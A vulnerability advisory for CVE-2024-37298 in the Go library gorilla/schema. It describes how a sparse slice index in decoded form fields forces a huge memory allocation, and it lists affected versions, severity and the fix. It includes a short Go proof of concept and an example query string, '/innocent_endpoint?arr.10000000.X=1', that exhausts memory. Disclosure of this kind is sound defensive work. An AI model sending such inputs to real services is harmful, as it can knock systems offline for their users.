GHSA-3669-72X9-R9P3

Vulnerability from github – Published: 2024-07-01 20:35 – Updated: 2024-07-05 21:29
VLAI?
Summary
Potential memory exhaustion attack due to sparse slice deserialization
Details

Details

Running schema.Decoder.Decode() on a struct that has a field of type []struct{...} opens it up to malicious attacks regarding memory allocations, taking advantage of the sparse slice functionality. For instance, in the Proof of Concept written below, someone can specify to set a field of the billionth element and it will allocate all other elements before it in the slice.

In the local environment environment for my project, I was able to call an endpoint like /innocent_endpoint?arr.10000000.X=1 and freeze my system from the memory allocation while parsing r.Form. I think this line is responsible for allocating the slice, although I haven't tested to make sure, so it's just an educated guess.

Proof of Concept

The following proof of concept works on both v1.2.0 and v1.2.1. I have not tested earlier versions.

package main

import (
    "fmt"

    "github.com/gorilla/schema"
)

func main() {
    dec := schema.NewDecoder()
    var result struct {
        Arr []struct{ Val int }
    }
    if err := dec.Decode(&result, map[string][]string{"arr.1000000000.Val": {"1"}}); err != nil {
        panic(err)
    }
    fmt.Printf("%#+v\n", result)
}

Impact

Any use of schema.Decoder.Decode() on a struct with arrays of other structs could be vulnerable to this memory exhaustion vulnerability. There seems to be no possible solution that a developer using this library can do to disable this behaviour without fixing it in this project, so all uses of Decode that fall under this umbrella are affected. A fix that doesn't require a major change may also be harder to find, since it could break compatibility with some other intended use-cases.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gorilla/schema"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-37298"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-01T20:35:12Z",
    "nvd_published_at": "2024-07-01T19:15:04Z",
    "severity": "HIGH"
  },
  "details": "### Details\n\nRunning `schema.Decoder.Decode()` on a struct that has a field of type `[]struct{...}` opens it up to malicious attacks regarding memory allocations, taking advantage of the sparse slice functionality. For instance, in the Proof of Concept written below, someone can specify to set a field of the billionth element and it will allocate all other elements before it in the slice. \n\nIn the local environment environment for my project, I was able to call an endpoint like `/innocent_endpoint?arr.10000000.X=1` and freeze my system from the memory allocation while parsing `r.Form`. I think [this line](https://github.com/gorilla/schema/blob/main/decoder.go#L223) is responsible for allocating the slice, although I haven\u0027t tested to make sure, so it\u0027s just an educated guess.\n\n### Proof of Concept\n\nThe following proof of concept works on both v1.2.0 and v1.2.1. I have not tested earlier versions.\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/gorilla/schema\"\n)\n\nfunc main() {\n\tdec := schema.NewDecoder()\n\tvar result struct {\n\t\tArr []struct{ Val int }\n\t}\n\tif err := dec.Decode(\u0026result, map[string][]string{\"arr.1000000000.Val\": {\"1\"}}); err != nil {\n\t\tpanic(err)\n\t}\n\tfmt.Printf(\"%#+v\\n\", result)\n}\n\n```\n\n### Impact\n\nAny use of `schema.Decoder.Decode()` on a struct with arrays of other structs could be vulnerable to this memory exhaustion vulnerability. There seems to be no possible solution that a developer using this library can do to disable this behaviour without fixing it in this project, so all uses of Decode that fall under this umbrella are affected. A fix that doesn\u0027t require a major change may also be harder to find, since it could break compatibility with some other intended use-cases.\n",
  "id": "GHSA-3669-72x9-r9p3",
  "modified": "2024-07-05T21:29:07Z",
  "published": "2024-07-01T20:35:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gorilla/schema/security/advisories/GHSA-3669-72x9-r9p3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37298"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gorilla/schema/commit/cd59f2f12cbdfa9c06aa63e425d1fe4a806967ff"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gorilla/schema"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gorilla/schema/blob/main/decoder.go#L223"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Potential memory exhaustion attack due to sparse slice deserialization"
}


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Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


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